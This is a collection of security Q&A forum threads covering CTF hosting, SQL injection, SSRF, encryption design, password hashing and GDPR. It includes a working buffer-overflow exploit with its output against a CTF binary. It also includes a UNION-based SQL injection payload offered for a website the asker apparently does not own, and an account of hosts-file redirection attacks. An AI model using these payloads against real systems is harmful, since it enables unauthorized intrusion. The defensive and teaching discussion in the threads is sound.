Buffer Overflow Works Locally But Not Remotely So I made a simple buffer overflow challenge and attempted to host it on a digitalocean droplet. The challenge source is below, and is compiled using gcc welcome.c -fno-stack-protector -no-pie -o welcome.

#include <unistd.h>
#include <stdio.h>

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    char name[25];
    printf("whats your name? ");
    gets(name);
    printf("welcome to pwn, %s!\n", name);
    return 0;
}

void flag() {
    char flag[50];
    FILE* stream = fopen("flag.txt", "r");
    fgets(flag, 50, stream);
    printf("%s", flag);
}

Locally on the Docker the challenge is running on, I am able to use this exploit:

root@d8e27ba55693:/home/ctf# python -c "print 'A' * 40 + '\xfc\x06\x40\x00\x00\x00\x00\x00' + '\xae\x06\x40\x00\x00\x00\x00\x00'" | ./welcome # Works This Way!
whats your name? welcome to pwn, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
flag{g3t5_m3_3v3ry_t1m3}
Segmentation fault (core dumped)

I use this xinetd file to make it available over the network:

service welcome
{
    disable = no
    socket_type = stream
    protocol    = tcp
    wait        = no
    user        = ctf
    type        = UNLISTED
    port        = 1337
    bind        = 0.0.0.0
    server      = /home/ctf/run.sh
    # safety options
    per_source  = 10 # the maximum instances of this service per source IP address
    rlimit_cpu  = 20 # the maximum number of CPU seconds that the service may use
    rlimit_as  = 512M # the Address Space resource limit for the service
}

Trying to use it over the netcat connection though, it doesn't work:

root@d8e27ba55693:/home/ctf# python -c "print 'A' * 40 + '\xfc\x06\x40\x00\x00\x00\x00\x00' + '\xae\x06\x40\x00\x00\x00\x00\x00'" | nc localhost 1337 # Hmmmm...
whats your name? welcome to pwn, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
/home/ctf/run.sh: line 3:   339 Segmentation fault      (core dumped) /home/ctf/welcome

All of the files I am using to host the challenge can be found here. Any help or other tips would be appreciated. I have spent a large part of the day confused about this.

Bonus question, why does the binary hang after completion on the remote server until the user hits enter? Maybe my setvbuf is incorrect? If someone could explain this that would be great! I am fairly new to this stuff.

EDIT: Your xinetd configuration file contains the line user = ctf, meaning the program is run as user ctf when invoked over the network, which (probably?) doesn't have read access to the flag.txt file it tries to fopen() after overflowing the buffer; hence "flag{g3t5_m3_3v3ry_t1m3}" not getting printed.

You can verify this by checking whether the returned pointer stream is NULL. I hope this demonstrates (yet again) that one should always check return values, especially when dealing with libraries handling external resources.

Leaving the original answer/guess below for the time being for reference sake:

That buffer overflows the same in both cases, but whether or not this particular example program will show you the evidence thereof depends on when its output buffer is flushed:

When a program is outputting to a terminal, output is line buffered, meaning that it's flushed whenever a newline character is printed.

In contrast, when accessing the program through xinetd, output is redirected from the program to xinetd through a unix pipe (expressed as a | in the case of shell commands), and not being a terminal, a unix pipe by default has its output block buffered, meaning it only flushes the output once the buffer fills up or the program terminates. However, if that termination happens to be a segfault, the output buffer of the program gets destroyed; meaning xinetd on the other end of the pipe receives nothing.

You can work around this by adding fflush(stdout); to the end of your flag function, which will cause the buffer to be flushed immediately.

See also this answer to a related question, and the manual page for the setbuf and fflush functions.

Credit to user Joseph Sible-Reinstate Monica for improvements and noticing a crucial inconsistency in my original theory.


Extremely high bandwidth usage for OCSP? ISPs where I live charge based on usage. A friend just moved here and blew through 60 GB of data ($115) in a couple weeks. When asked, the ISP provided a .csv of URLs and bandwidth usage over those 2 weeks. A pivot of that data shows extremely high usage at a couple of OCSP URLs (apple, digicert, sectigo) as shown in image below.

The household has 1 Windows 10 PC, 1 iPhone, 1 Samsung Android, 1 Wiko Smart Phone (android), 3 newish iPads. 3 adults 3 small kids.

Does this seem legit (does it pass the laugh test):

Is ~190 KB the expected average size of an OCSP response?
Does the size of the response suggest anything about its nature?
Is it reasonable that 4 iDevices would make a total of ~2,500 OCSP requests per day to ocsp.apple.com?
Would those be requests for app certificate validity, or do all SSL certs visited in Safari get checked at ocsp.apple.com?

Any ideas as to what could be causing it? I guess I'm really asking if there's anything here that raises red flags for malware, virus, compromised router, etc.

Does this seem legit?

It is impossible to know just from bandwidth numbers. It's like asking "is this charge on my credit card legit?" - it depends on if you made the purchase.

  Any ideas as to what could be causing it?

You have a basic network troubleshooting scenario here. Set up packet captures within the network or logging on the router and see what is making the requests, then you can narrow down which devices are making the requests.


Injecting a query within a query that has an order by or group by function Select * from Shop where Item = $item order by ProductNum desc

I found this vulnerability within a website. To test if there's any vulnerabilities I inserted a single quotation after

itemshop_secure.php?section=

And I stumbled upon this error message

Error Query [SELECT * FROM Shop Where Item = '\' order by ProductNum desc]

every single qoute is converted to "\" and double quotation is converted to " \" "

I also tried terminating it using ";" and injected it with this query

SELECT * FROM Shop

But it just returned the same error

 Error Query [SELECT * FROM Shop Where Item = 'SELECT * FROM Shop ' order by ProductNum desc]

Is there any possibility That I could Inject my own sql query?
PS I tried ";" alone and it didn't showed any error unlike " ' "

It looks like the server has php configured with magic quotes on. Since the example query provided doesn't contain any quotes you won't need to inject any quotes. Something like 1 union select @@version from shop -- - should give you an error about unions needing the same number of columns, proving the injection.


Privacy violation even when queries with too few results are rejected I was reading a Computing security book1 and saw a question regarding database security and privacy. I can't quite figure out the answer, so I thought I will ask here.

  One approach to ensure privacy is the small result rejection, in which the system rejects (returns no result from) any query, the result of which is derived from a small number, for example, five, of records. Show how to obtain sensitive data by using only queries derived from six records.
  Emphasis added

1 Excerpt copied from Security in computing By Charles P. Pfleeger, Shari Lawrence Pfleeger

If someone can help me with the answer, I would appreciate it.

I think what the book is saying is that if you can come up with such a specific query that there are only a few results, you can identify one particular target in the database.

For example, if a car dealer  had a database of customers, and they "anonymized" the database to include only zip code, make, model, year, color, and salary, you could find your neighbor's salary if you know they bought a car from that dealer.

For example, you could run a query that selects the salary of all people who own a Green 2012 Chevy Volt in your zip code. If you got only a handful of records showing salaries of 20K 30K 40K and 300K and you know your neighbor is a successful attorney, you can guess that he has the 300K salary.

But if the system refused to show less than 100 results, it's harder to find the target such a result set.


Can a curl request to an arbitrary url made sufficiently safe? This is a follow up of another topic (Is allowing unfiltered curl request from a website a vulnerability?)
on which I am doing some private research.

Given:

  A  publicly reachable webservice that accepts any url and
  performs a curl get request on it. The service operates without authentication.

The linked topic already states that unfiltered access is a security issue. But something on this topic surfaces my thoughts periodically and it took me a while to think about: Can such a service made sufficiently secure against SSRF and alike?

Obvious steps:

cURL is mighty, restrict allowed schemes to http(s) and ftp (solves file, gopher, dict, etc. issues)
prevent access to entire loopback: localhost, 127.0.0.1-127.0.0.255 (I was totally unaware that the entire network of 127.x.x.x points to your machine 0_o)
prevent access to 0.0.0.0
disallow broadcast IP 255.255.255.255 (although unlikely that something serves anything on the allowed schemes above)
prevent private IPs to avoid access to internal networks (impersonalization of a server, which is part of the private network?) -> 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16 (thanks wiki)

But there is more, right?

if cURL is configured to follow redirects, the redirect must be validated the same way as the original IP, since forging a redirect is trivial
IPv6: Everything for the nice old IPv4 address space must be redone there too, right?
Are there some ports to filter by? Remember schemes are restricted to http(s) and ftp. This may still technically be a port scanner but not necessary malicious but getting a website from port 675 might be ok.
Prevent DoS remote urls: Implement some sort of token (CSRF token alike), introduce timeouts between multiple requests, say 1 second or ban IPs which keep hammering. (Does of course not solve DDoS, but preventing DDoS is probably outside of the scope here)

One last thing I cannot fully get my head around:

What's with DNS? Is it possible to register a DNS entry to point to localhost or private networks?

On my machine I technically can perform a GET of http://my.box and get my router.
Now how can somebody mitigate that risk?

Is performing a nslookup a solution? If I get an IP, validate the IP.
If not, it may be anything, deny.
I keep forgetting what my NAS does so I can reach it via host name in my local network, but being paranoid is probably a good way here.

SSRF could only be mitigated with a (regularly updated) white list of hosts or URL's which are known to be safe, i.e. which don't have any side effects which depend on the source IP and where access to a URL will not cause an abuse report, law suite or similar against your site (for example because someone tries to find hidden pages on a site or making bomb threats).

A black list will help but is is not sufficient.


How do I log everything a certain program is doing? i have a program which is pretty simple.
Its just a simple login form.

Is there any possibility to log what this program is doing (maybe which file he is accessing and which website he is visiting (also what this website is returning)

I mean a program that is logging which file this program is accessing and which websites (or queries) this program is sending to a website.

I would really appreciate your help.

In case you are using Windows, you can use Process Monitor to find out which files and registry entries the software is accessing. And for the sites it is visiting (request and responses) you can use some proxy, I personally prefer Fiddler. You can also use the TCPView to check the active connections opened by the SW.

You also can use Wireshark to monitor network activity and set a filter to show you just the communication with the server you want. Or you can use Microsoft Network Monitor, which can display communication for specific process.


Best user data encryption design patterns? Let's say that I have a website that allows users to upload files (much like Dropbox), and I need to encrypt those files so that only the users that have access to them can view the file data.  Users need to be able to view the file names/sizes via a web interface (but nobody else should be able to), and download the unencrypted version when they want to.  What would the most secure encryption setup be?

It seems to me that you could encrypt a decryption key with the users password (and associate that key with that user only/use it to encrypt his/her data), but then in order to access the file information or allow them to download the file data the server would have to have access to the decryption key past the login point.  This would require persisting the user password in some capacity (or saving the decryption key) with the session, both of which seem very insecure.  It has also occurred to me that we could (somewhat?) securely store a master key, but then the user data is at risk if that key is stolen.

How is this done in practice?  Also, if anyone out there has any good articles/posts on this topic I'd be extremely interested to read them.

There is a spectrum of ways to provide this kind of online storage:

Completely unencrypted: no protection at all
Server-side site-wide encryption: the data is uploaded by the user in its unencrypted form, and stored on the remote server. The server has, for example, a fully encrypted disk. This only physically protects the data.
Server-side individual keys: the server generates keys, provides key management, and provides all encryption/decryption for the user data based on the specific user. The server is aware of the key values.
Client-side encryption: the clients handle the actual sensitive key material, handle all encryption and decryption, and technically handle the all of the key management functions (though the server keeps track of everything for you). The server cannot decrypt the data at all.

It sounds like you are wanting to provide a variant of client-side encryption where the server has no knowledge of the keys, but are caught up in the idea that the server has to provide the actual encryption/decryption service.  You can't have both.  You'll have to determine what your server is actually going to do. Is it simply a storage vehicle? Does there have to be collaboration? Do you want to be able to share the data among users?  All of these questions influence the role the server will play and the actual use case/business case you are trying to solve.

In terms of actually creating the encryption key based on the user's password, you'll want to check out "password based key derivation."  Such an encryption key could function as a master key for the other client-based keys.


Deleted commit still visible from GitLab web interface, exposing sensitive data Some weeks ago I accidentally committed a configuration file containing some passwords and I pushed it on a GitLab remote managed by my company.

After that I used BFG Repo-Cleaner to remove the passwords from the history.

After the clean I executed:

git reflog expire --expire=now --all && git gc --prune=now --aggressive
git push --force

I seen the commit hashes have been changed and sensitive data has been removed (I can see that both using the GitLab web interface or exploring a new clone of the repo).

However, if I access one of the old pages calling directly the URL (https://<my-company>/gitlab/test-bfg/commit/<theoretically-unexisting-hash>) I can see a gitdiff of a commit containing the passwords! I discovered this accidentally, navigating on the browser history.

If I try to checkout the same hash on the just cloned repo I obtain this message:

fatal: reference is not a tree: d7fb999c...

So, if a person clone that repo from GitLab I think he or she is not able to view that commit*, however it is still visible from the web interface, if one could guess an old hash.
* Anyway, I I would feel more comfortable reading did not match any file(s) known to git instead of reference is not a tree.

I don't think this is a kind of cache problem, because I tried it again after some hours.

So, questions are:

Why this happens? Am I using the tools in the wrong way?
There are some ways to see that hidden hashes?
Did you ever experienced this, maybe using different systems (GitHub, BitBucket)?

Thank you very much.

I'm not very familiar with Gitlab or what BFG repo cleaner does. But it is always a good idea to rotate your passwords when they have been exposed in public. If it's a public repository, there's no way to reliably know if the old git commits have been checked out by someone. That said, lodge a support request with GitLab too, just in case.


Secure points exchange I am a back-end developer with very basic security skills. I need to create a secure system to allow mobile users to exchange 'points' with other users. Also an admin needs to be able to add or retrieve 'points'.

I would like to know if there is any standard procedure for this kind of system?

My plan so far was to use an https connection and standard authentication (store password hash and salt).

This is a pretty standard type of transaction.  By far, the most important thing is that you perform the entire transaction on the server, not on the client; you cannot trust the client.  To make things work nicely for an end-user, you can run these transactions on the client, but they cannot be definitive until the server has verified them.

Also, make sure you perform the whole thing in a database transaction.  If you subtract 10 points from User A, then fail to add them to User B for some reason, User A would be pretty angry if they didn't get their 10 points back; it's even worse if it happens in the other direction, as users can game the system to generate free points.

One thing you may or may not be concerned about are replay attacks.  Imagine that you are on my network and I MitM your connection to the server while you make a transaction to give me 10 points; then, I later resend that same HTTP request several more times to drain your account.  There are a few different countermeasures you can take, but you should be able to lean on TLS to prevent this.

Which reminds me, absolutely all of your traffic that sends a session (or arguably, all traffic period) should go over HTTPS.  This prevents a number of issues, like the above and session hijacking attacks.  You did mention this already, but I figured I should re-iterate it.


Attacks surrounding /etc/hosts/ Although /etc/hosts/ is a file that comes up a lot in security, I am surprised to find there is no discussion here on this forum that describes how this can be used for an attack.

Thinking about it, I find myself, slightly unclear about what an attacker can achieve from this.

Few things that I can think of are :

Add a new entry say : "127.0.0.1 google.com" to mount a DoS to prevent access to google.com
Delete the hosts file to prevent any kind of network communication ?

3.Spoof an website " bank.com"

Are there any known attacks that particularly target /etc/hosts ?

What other possibilities are there ?

The main reason that /etc/hosts (or the windows equivalent %SYSTEMROOT%\system32\drivers\etc\hosts ) are used by attackers is to redirect user traffic to sites under their control.  It's important to note that hosts files are used in preference to DNS servers, so even if the user has a good entry in DNS for a specific system, hosts will still take precedence.

In terms of where this has been used, banking trojans have made use of attacks on hosts files to effectively send customers to fake banking sites, which appear to use the correct host name (e.g. this one).  However in general if the attacker can modify hosts, things like MITM attacks become much easier as the victim will transmit traffic directly to a machine of the attackers choosing without any other intervention.


Is this algorithm really end to end encrypted and secure? I'm creating an anonymous chat where one of the premises is that the conversations are end to end encrypted. I'm using firebase so all the comunication between the clients and the server is SSL secured. But I'm trying to hide chat even from the server.

I had the following idea for the key exchange. Note that I'm not willing to use Diffie Hellman since I couldn't find supported JavaScript libraries, so only RSA and any other symmetric encryption will do.

Here is the algorithm:

The user Alice wants to chat with Bob.
Alice generates a public/private key pair and send its public key to Bob.
Bob accepts the chat by generating a public/private keys and sends the public part to Alice.
Now the server and the users know both public keys.
Alice, who is the user that initiated the chat, generate a symmetric key, encrypt it with Bob public key.
Since any other user could encrypt this key and send it with bob, Alice also send the encrypted message hash encrypted with its private key, so Bob can verify that it was Alice who generated the key.
Alice sends the message (symmetric key encrypted + digital signature) to Bob.
First, Bob decrypt the digital signature with Alice public key and compare to the encrypted message, if they don't check, the chat fails.
Bob decrypt the symmetric key with its private key.
Now Bob and Alice have the same symmetric key and Bob is sure that it was Alice who generated this key.

Is this algorithm correct?

There's no authentication in what you've documented. Alice cannot tell if the key exchange is taking place with Bob, your server acting maliciously, or with some other MiTM. So steps like:

  Alice generates a public/private key pair and send its public key to Bob.

are more accurately described as "Alice sends her public key to someone, hoping that it is actually Bob."

This is why SSL uses certificates and CAs. They allow authentication without previous communication. You could also support out-of-band transmission of authentication information. SSH relies on this (it frequently ends up being trust first message and authenticate subsequent ones). Generally, establishing security requires an out-of-band communication (eg: passing bar codes between devices) or trusting that the server is not malicious. You don't seem willing to trust the server, so you're going to have some problems without an out-of-band key exchange.

There are also lots of side channel attacks that may become applicable. For example, error handling can sometimes be used as an oracle attack.


Multiple encrypted messages known to have matching (unknown) content A recent discussion regarding ways to keep data secure through multiple iterations of a program's execution (with repeated read/write operations) raised a question regarding known-plaintext attacks that I'd like to have a solid answer to.

If I have multiple ciphertexts, and I know that they were all produced from the same plaintext using the same (unknown) encryption method but (unknown) different keys, can I work out what algorithm and/or key was used?

The argument was that if the encryption method is any good, there should be as little correlation between the encrypted payload and the message content as possible, so even with multiple copies, it should be mostly indistinguishable from random data. My counter-argument is that any real-world algorithm is unlikely to be 100% perfect, so you're probably not going to have the ideal 50/50 chance for a 1 or 0 in any given bit, and with enough ciphertexts that you know are from the same plaintext, you'll start to see some correlations between them that you can use to deduce things about how the encryption works and/or what content is hiding behind it.

Assuming that

the algorithm is truly encryption, not hashing; that is, it is two-way and intended to be decrypted at some point
the system generates encryption keys in a sufficiently random manner to be essentially unpredictable
The attacker has no access to the encryption keys, only the encrypted message
attacker can get as many different versions of the message as they like, each encrypted with a different key

is it possible to work out how the encryption works and thereby reverse it to get the original plaintext?

If the encryption system is any good, even noticing that two messages encrypted with distinct keys are, in fact, identical, would be considered a "break". An encryption algorithm has a "security level" expressed in bits; when the security level is k, then this means that the computational effort to enact a "break" should be on the amount of 2k-1 invocation of the underlying encryption function (to be precise, the success probability should be e*2-k where e is the effort, so e = 2k-1 implies a 50% success probability for the attacker).

For instance, if using AES with a 128-bit key, then you are supposed to achieve a "128-bit" security level. This means that if the attacker is ready to invest enough CPU power to compute, say, 270 invocations of AES, then he has probability about 2-58, aka "1 in 288230376151711744", to succeed. 270 AES invocations is a substantial effort; a good multi-core CPU can produce about 230 AES invocations per second, so we are talking about ten thousand big PC running for... three years. And this achieves a success rate considerably lower than winning millions of dollars at the lottery.

What counts as a break is anything which makes the system depart from its theoretical model, i.e. a pseudorandom permutation: using the encryption with a given key is akin to selecting a permutation on the space of messages, and a new key should mean a new random selection, independently of the previous. Noticing that two encrypted messages, with two distinct keys, proceed from the same plaintext message, would be a break, and the best attack method ought to be the generic one, i.e. trying all possible keys until a match is found. This method yields the probabilities explained above, i.e. "does not realistically work".

Right now, no such breaking method is known for AES.

Beware of outdated thinking. You appear to use notions of "correlation" and "unknown method" which were adequate about fifty years ago, but cryptographic research has gone a bit forward since that time. In particular:

We are now very strict about acceptable information leaks (your "correlations"), namely we accept none. And yet we have candidate algorithms (e.g. AES) which seem to achieve this high level of quality.
Encryption methods have been split into an algorithm and a key. The "algorithm" is what becomes code. The algorithm is supposed to be public, because all the secrecy is concentrated in the key; at least, there should be no harm into publishing the algorithm, if it is any good, and it would be very hard to prevent such publication anyway. See this answer for details.

Of course, if the algorithm was used sloppily, then anything goes. A core algorithm like AES is only an elementary brick; it processes 16-byte blocks. To encrypt a message (a possibly long sequence of bytes), you have to use the block cipher with a mode of operation, which is a matter of subtlety and can be done poorly -- sufficiently poorly to imply a total security loss.

There can also be side-channel attacks exploiting the information leaks through the behaviour of the encryption implementation, e.g. through timing. For instance, many AES implementations use in-memory tables, which implies data-dependent and key-dependent memory accesses, thus cache behaviour; in lab conditions, this has sometimes been exploited to extract the key. This is not an attack against the algorithm but against its implementation. Bottom-line is that implementation of cryptographic algorithms is a tricky task.

All of the above is about symmetric encryption, but the same kind of reasoning can be applied to asymmetric encryption, e.g. with RSA. A 2048-bit RSA key, properly generated and used, ought to offer a security level of about 112 bits, which is more than enough.


How often should I reset my salt? I'm thinking of implementing a salt recycling scheme on my user credentials database. The motivation behind this decision is that even if the attacker manages to get his hands on the database  and has enough time to crack a password or two, by the time he does the salt will have been reset and his results will be useless.

My current user registration code is the following (PHP-flavored pseudocode):

function getSalt($username){
    $salt=$username.getFromUrandom($SALT_RANDOM_READ); //64 bytes
    $salt=sha256($salt);
    return $salt;
}

function setPass($username, $salt, $pass){
    $pass=bcrypt($BCRYPT_WORK_FACTOR, $pass, $salt); //factor is set to 8 for now
    store_to_db($username, $pass);
}

setPass($username, getSalt($username), $plainpass);

What I propose to do is, instead of merely changing the factor to keep up with Moore's law, also change the salt every few days or so. Of course that would only benefit regular users who login every couple of days. In code:

if(today() - getLastLogin() > $SALT_CHANGE_THRESHOLD || /*work factor increased*/)
    setPass($username, getSalt($username), $plainpass); //as above

My questions:

How often should a salt change? I'm tempted to do it daily but I'm worried it might be a bit of an overkill
Is changing the salt enough to do without a password reset every couple of months? I won't be implementing that because I know users find it annoying, and it may force them to select a password they might later forget.

As I said above, non-returning users will not benefit from this. Users who use the same password with another compromised service will also not benefit but I'm not worried about that.

I'm also very tempted to use the most common passwords list and prevent users from selecting any of them in order to protect from using compromised passwords (although using all 10000 is a bit extreme).

Your salt probably doesn't need to change any more often than your password. Rotating through salts doesn't protect you from anything in particular.

Note that the salt that the attacker uses to brute-force a password does not have to be the same as the salt in use when he uses the password. Only the password needs to be the same. And since the result of his attack is to determine the correct password, that password will continue to work no matter how often you rotate your salt.


Secure, Portable Bookmarks A constant bugbear is my bookmarks being synced to my Google accounts, meaning access to them outside that Google account requires various manual steps.

So it got me thinking of a roll your own way to sync your bookmarks. Obviously this system would need to be, above all, secure, as your bookmark data is potentially very sensitive. The system would need to following features:

Totally platform agnostic
Secure, in that the data at rest should be encrypted
Easily accessible
Easily searchable
Easy to back up
NOT linked to a 3rd party supplier. I know there are generic bookmark sync services out there. I want control and do not want to trust this data to a 3rd party.

So far the most practical solution I can think of is a lightweight web app that you could deploy as a roll your own solution.

My question(s): Does this exists already? Does anyone else find this a problem, if so is this feature list correct, i.e would you add anything to it.

I have come across a couple of solutions that mostly fit this bill.  Your list above is a good set of requirements for bookmark management.

Implicitly, your points throw out Google's Chrome and Microsoft's browsers because those companies have shown intense hunger for personal data.  Safari's benevolent tyranny is not very extensible, so that leaves you to use Firefox, and/or a Firefox derivative like Palemoon or the Tor Browser Bundle (TBB).

1. Outertech's Linkman

From their website:

  Linkman is a bookmark manager that efficiently organizes large numbers
  of bookmarks. Linkman directly integrates with Google Chrome, Firefox,
  Internet Explorer, Opera browsers, and supports many other browsers.
  Synchronizing bookmarks between browsers and among computers is also
  possible. You get the choice to manage your bookmarks by keywords
  only, folders only, or folders and keywords. Linkman will extract
  keywords from web sites and update moved web addresses. The bookmark
  collection can be protected by a password. With a screenshot tutorial,
  an introduction video, and a comprehensive PDF manual, getting started
  has never been easier!

This software creates a local webserver and then there's a plugin for each browser.  I've made it work with FireFox and Palemoon, but the Tor Browser Bundle seems to block part of the way this works.  I didn't look into it, so it may be possible to get it to work.

On laptops/desktops, you could probably use Dropbox, SpiderOak, or Syncthing to sync the database file across multiple machines.

I have not looked in to doing this on mobile.  I doubt iOS would be able to work with this, and Android would probably take a bit of work to get it going.

2. Firefox Sync

From their website:

  With Firefox on all your devices, you can access bookmarks, tabs and
  passwords with one easy sign-in.

I've done some preliminary research into how secure this is from 2nd, 3rd, and 4th parties, and they seem to had security and privacy in mind when they built it.  This article goes in depth about they why and how without being too technical.

This is supposed to work on mobile too.

Their software does use their own servers/services though.  If they did succeed in true Trust No One security, then that should be fine.  That's a big if though.

You do have the option to implement your own sync servers. Although a complete DIY solution also requires setting up authentication servers, which have little-to-no documentation, guides, or support.  See below, emphasis mine:

  Alternatively, you can also Run your own Firefox Accounts Server to
  control all aspects of the system. The process for doing so is
  currently very experimental and not well documented.


Is displaying email addresses in an application log file allowed under GDPR? I'm working on an application that is completely built upon user interaction. In my application logs, I log each interaction and print the email address to uniquely identify which user did which interaction.

This application log will not be visible to anyone other than:

Me
The next owner of the application if I would sell the project
An administrator I might hire if the workload gets too big

An example of a log record is something like this:

  2019-01-24 14:27:20.954 INFO 32256 --- [whatever-info] s.p.s.t.d.m.s.SomeClassThatPrintsTheLog : Registering user with email address EMAIL_ADDRESS_WILL_BE_PRINTED_HERE@email.com.

Is this allowed under GDPR or should I mask the printed email address in any way? Or use another solution?

The goal of GDPR is about protecting personally identifiable information (PII) as much as possible. The interaction of a specific user with your application are pretty sure such PII.

If you really need to log this information you should inform your user about this process, i.e. the purpose of the data collection, how long the information gets stored and who gets access to the data. And you and whoever you sell the application to should never use the data for any other purpose as agreed to by the user. And of course you need to properly protect the information against misuse, i.e. use outside of the specified purpose. This specifically but not only includes if someone hacks into your application or server and steals this data.

Since use of the data is limited and protection (and fines) can be costly, it might be easier to not store these information in the first place. An alternative is to at least pseudonymize the PII as much as possible, i.e. in a way that the logged data are still usable for you but that no association to a specific user can be done even when having all the logged data. But since it is not really clear what you use these logs for no recommendations can be done for a specific process of such pseudonymization.

Be aware though that simply replacing each unique email address with another unique identifier might not be a sufficient pseudonymization. Depending on the data you log it might be possible to create user profiles and based on specific traits in the profiles associate these to real world users. See AOL search data leak for an example how such simple pseudonymization attempt went wrong.


Encryption of Google's Android apps Does Google use network encryption on it's Android apps like Gmail, Drive, Google Play, Docs, and others when doing authentication/data transfer? What type of encryption is it? Is it secure?

I have tried searching Google's help site about this and did not find a good answer. Can you provide me with some resources about the topic?

Above is a packet capture of communication between my phone and Google's server(74.125.68.19). Apparently, TLS is used to protect data in transit. TLS is also used for your browser's connection to a HTTPS website so the security is comparable.

If transmitted over cellular networks, there is a second layer of encryption between your phone and your provider. The algorithm used could be A5/KASUMI depending on the network.


Is there a way for a consumer to report PCI non compliance? Is there a way for a consumer to report PCI non compliance?

The PCI organization sets the standards. The card brands enforce those standards with fines. If you contact a brand (Visa, American Express, etc)., they may act on it. I am not aware of any PCI compliance hotline, and it may involve a lot of transfers and "call this person" redirects to find somebody... who may do nothing anyway. If you have the time, though, I encourage you to work on finding your way through that process.


How does an encryption key work? I'm having trouble understanding how an encryption key works.

for example: if the word was 'hello' its encrypted value could be 'GHSSDgsd2', what would happen to the encrypted value if the key was 'dog'? how would it change the encrypted value of 'hello'?

For all we know the key is "dog".

You didn't say what the key is, or what the encryption algorithm is; the only information given is the cleartext, "hello", and the ciphertext, "GH6SDgsd2".

If the cleartext is changed, the resulting ciphertext will change.

If the key is changed, the resulting ciphertext will change and, again, there's no telling what the resulting ciphertext will be without knowing 1) the key, and 2) the algorithm.

Encryption software works by first converting the cleartext to a series of numbers (in a computer, text is always stored as a series of numbers). Then, the software performs one or more mathematical operations on these numbers, the operations performed depend on the encryption algorithm used by the encryption software. Common encryption algorithms include AES, Blowfish, etc. The key is a separate series of characters, or numbers, that are also used in these mathematical operations. If the same cleartext, the same key, and the same algorithm and encryption software are used, the resulting ciphertext will be the same.

Ciphertext is sent as a secret message to someone. If the receiver of the message knows the ciphertext, the key, and the encryption algorithm and software, the receiver will be able to decode the message.

If someone in possession of the ciphertext doesn't know the key, or what encryption algorithm is being used, they won't be able to decode the message, or at best it will be very difficult for them to decode the message. The difficulty involved in attempting to decode a given piece of ciphertext, without having the key, depends primarily on the length of the key. If the key is long enough, it might take many years for someone to decode the message.


Considering that SRP is better than SSH and Basic Auth, how can it be implemented in a website? SRP is short for Secure Remote Password protocol, and provides a better way for passwords to be sent over the internet.

I've read the information at  it's Stanford University home page, the Wiki Page, looked at a in-browser demo.  I even found a company that uses SRP, read their blog but still can't figure out how to integrate it into my application.

Question

Can someone provide general guidelines on how to implement SRP in a web browser, and what the requirements are?

My ultimate goal is to get this to work in ASP.NET MVC, though that may be a question best suited for Programmers.SE.

SRP is being implemented into SSL, so browsers are beginning to support it. Another option (albeit, much slower) is to run SRP in Javascript. Since the server supplies the javascript code, however, this is an attack point. So, it would have to be delivered over SSL, and the client must trust the server, which makes SRP with Javascript less than ideal.

There is more information on using SRP with OpenSSL, which seems fairly current.

For more information:
https://stackoverflow.com/q/2778629
http://srp.stanford.edu/download.html (includes patches for OpenSSL)
http://en.wikipedia.org/wiki/Secure_Remote_Password_protocol#Real_world_implementations
http://trustedhttp.org/wiki/Main_Page (has information on chrome and firefox support)


How can we find server location and IPs? Is it possible to find where some known application servers (such as whatsapp) are located and their IPs ?

It's easy to know the IP address of the host your application is communicating with.  This is, as you comment, just the destination IP of the communications.

But knowing that IP address doesn't get you much. There is no way of knowing if that host is a web server/other server, a gateway or proxy, a network load balancer or content distribution network node. It might be, and often is, multiple hosts. It might be one IP today, and another IP tomorrow; or one set of IP's for the US West Coast, and another set for the US East Coast. Content Distribution Networks have changed the way we deliver content from servers - most app services of any size have large distributed networks of content making up what you'd call a "server". All you know from the IP is the peer that your client is communicating with, and nothing about what kind of architecture is hiding behind it.

Location is yet another problem. Geolocation is inexact, and sometimes very inexact. You might be able to tell what country an IP is coming from, or at least what region of the world. It depends on what information the ISP's are revealing, how dynamic the network is, whether measures are being taken to conceal location, etc.

In short, the answer is "sometimes, maybe, but don't depend on it".


How to convert zxcvbn entropy to score I want to use zxcvbn-c but it gives the entropy number, not score like the javascript library does. How do I convert entropy number to a score? (0 to 4)

The zxcvbn blog/source mentions that the score is related to estimated cracktime. I think this will be relative and increasing over time as computers get more powerful. But whats the current recomended formula to convert entropy to cracktime? How can I calculate a score for now? When should I reevaluate?

Heres what I found but how to know what guesses is made from and how to make the formula?

0 = guesses < 10^3
1 = guesses < 10^6
2 = guesses < 10^8
3 = guesses < 10^10
4 = guesses >= 10^10

IOW what are recomended entropy gradients for password strength nowadays?

Thanks @AndrolGenhald I think this is how the javascript works

log = e * 0.301029996;
if (log < 3) s = 0;
if (log < 6) s = 1;
if (log < 8) s = 2;
if (log < 10) s = 3;
if (log >= 10) s = 4;

Should someone have better indepth answer about entropy I will be eager to read it.


Multiple running instances of rundll32.exe I've noticed that in the Task Manager of Windows 7, I have multiple running instances (2) of rundll32.exe. Does this necessarily means that my machine is infected by a malware as noted here: http://www.revthatup.com/how-to-fix-rundll32-exe/

Notice that I did a restore to the factory image that reside on separate partition. Could these kind of partitions also be affected by viruses?

Additionally, even after the factory restore, I am always getting an error message indicating that rundll32.exe stopped working at Windows 7 startup which seems very suspicious for a clean (?) installation.

It could be a virus, or could just be a program that needs to be run within a rundll32.
You could have more information on what's being run by using Sysinternal's Process Explorer : click on each rundll32, and see its properties, or which filehandles it is using (could be tricky determining what is legit, and what is not...)


Does brute-force time depend on the length of a password only? If a password is +30 characters long but contains words from the dictionary, is it less secure than a 10-character password that is !@#$#%$^%$, for example?

Length is certainly a factor, but you've hit on an underlying fact that most people miss: even a 30 char password is weak if it is guessable.
The concept that is important is "entropy". It's not just length or even the types of characters used, but how the password is chosen. The randomness, the character types used, and the length all contribute to password strength.
But if everyone uses the password: Look at me!! I'm a really long password!! (that's 41 characters), then it's not really strong, is it?
You've asked about brute-forcing, and there are different types. Trying every password length, character by character starting from abcd... is a sure way to eventually get the password, but it might take billions of years. But that's not the only type.
Dictionaries are used, common patterns are tried, known passwords are checked.
So, yes, if a 30-char password with dictionary words is used, and those words are randomly chosen, then that's a strong password.
!@#$#%$^%$ will be guessed relatively quickly because that's a common keyboard pattern.


Is all access to the underlying system components protected via an access control mechanism managed by the kernel? I'm assuming it is possible for an attacker to bypass the Linux kernel to make changes to system memory, hard drives etc.

Both main memory and disk drives are managed solely by the kernel.

